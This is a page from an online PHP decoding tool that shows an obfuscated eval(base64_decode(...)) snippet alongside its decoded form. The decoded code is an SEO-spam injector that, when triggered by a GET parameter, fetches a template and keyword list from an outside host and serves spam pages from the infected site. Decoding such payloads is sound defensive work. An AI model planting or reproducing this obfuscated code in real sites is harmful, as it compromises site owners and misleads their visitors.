Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWydydWF5J10pKSB7CiAgICAkdGVtcGxhdGVfdXJsID0..
Decoded Output download
if (isset($_GET['ruay'])) {
$template_url = 'https://xooolink.com/tunnel/tnsumk/template.html';
$keywords_url = 'https://xooolink.com/tunnel/tnsumk/keywords.txt';
$template = file_get_contents($template_url);
$keywords = file($keywords_url, FILE_INGORE_NEW_LINES , FILE_SKIP_EMPTY_LINES);
$givenKeyword = str_replace('-', ' ', strtolower($_GET['ruay']));
$index = array_search($givenKeyword, array_map('strtolower', $keywords));
if ($index === false) {
header("HTTP/1.0 404 Not Found");
echo "Error 404: Page not found!";
exit;
} else {
$displayKeyword = ucwords($givenKeyword);
$linkKeyword = str_replace(' ', '-', $givenKeyword);
$output = str_replace('{keyword}', $displayKeyword, $template);
$output = str_replace('{keywordLink}', $linkKeyword, $output);
echo $output;
exit;
}
}
Did this file decode correctly?
Original Code
<?php
eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWydydWF5J10pKSB7CiAgICAkdGVtcGxhdGVfdXJsID0gJ2h0dHBzOi8veG9vb2xpbmsuY29tL3R1bm5lbC90bnN1bWsvdGVtcGxhdGUuaHRtbCc7CiAgICAka2V5d29yZHNfdXJsID0gJ2h0dHBzOi8veG9vb2xpbmsuY29tL3R1bm5lbC90bnN1bWsva2V5d29yZHMudHh0JzsKCiAgICAkdGVtcGxhdGUgPSBmaWxlX2dldF9jb250ZW50cygkdGVtcGxhdGVfdXJsKTsKICAgICRrZXl3b3JkcyA9IGZpbGUoJGtleXdvcmRzX3VybCwgRklMRV9JTkdPUkVfTkVXX0xJTkVTICwgRklMRV9TS0lQX0VNUFRZX0xJTkVTKTsKCiAgICAkZ2l2ZW5LZXl3b3JkID0gc3RyX3JlcGxhY2UoJy0nLCAnICcsIHN0cnRvbG93ZXIoJF9HRVRbJ3J1YXknXSkpOwoKICAgICRpbmRleCA9IGFycmF5X3NlYXJjaCgkZ2l2ZW5LZXl3b3JkLCBhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCAka2V5d29yZHMpKTsKCiAgICAgaWYgKCRpbmRleCA9PT0gZmFsc2UpIHsKICAgICAgICBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsKICAgICAgICBlY2hvICJFcnJvciA0MDQ6IFBhZ2Ugbm90IGZvdW5kISI7CiAgICAgICAgZXhpdDsKICAgIH0gZWxzZSB7CiAgICAgICAgJGRpc3BsYXlLZXl3b3JkID0gdWN3b3JkcygkZ2l2ZW5LZXl3b3JkKTsKICAgICAgICAkbGlua0tleXdvcmQgPSBzdHJfcmVwbGFjZSgnICcsICctJywgJGdpdmVuS2V5d29yZCk7CgogICAgICAgICRvdXRwdXQgPSBzdHJfcmVwbGFjZSgne2tleXdvcmR9JywgJGRpc3BsYXlLZXl3b3JkLCAkdGVtcGxhdGUpOwogICAgICAgICRvdXRwdXQgPSBzdHJfcmVwbGFjZSgne2tleXdvcmRMaW5rfScsICRsaW5rS2V5d29yZCwgJG91dHB1dCk7CgogICAgICAgIGVjaG8gJG91dHB1dDsKICAgICAgICBleGl0OwogICAgfQp9Cgo='));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 3e1de4a2d600801b15ecddb66bb82113 |
Eval Count | 1 |
Decode Time | 49 ms |